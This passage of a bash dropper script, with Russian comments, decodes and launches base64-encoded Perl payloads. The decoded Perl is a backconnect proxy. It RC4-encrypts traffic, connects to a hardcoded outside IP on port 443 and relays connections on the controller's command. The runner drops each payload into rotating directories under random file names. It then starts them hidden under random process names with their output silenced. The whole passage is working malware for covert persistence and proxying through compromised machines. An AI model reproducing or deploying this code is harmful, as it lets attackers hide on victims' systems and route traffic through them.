ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #27 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #27 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 28 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNDknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz 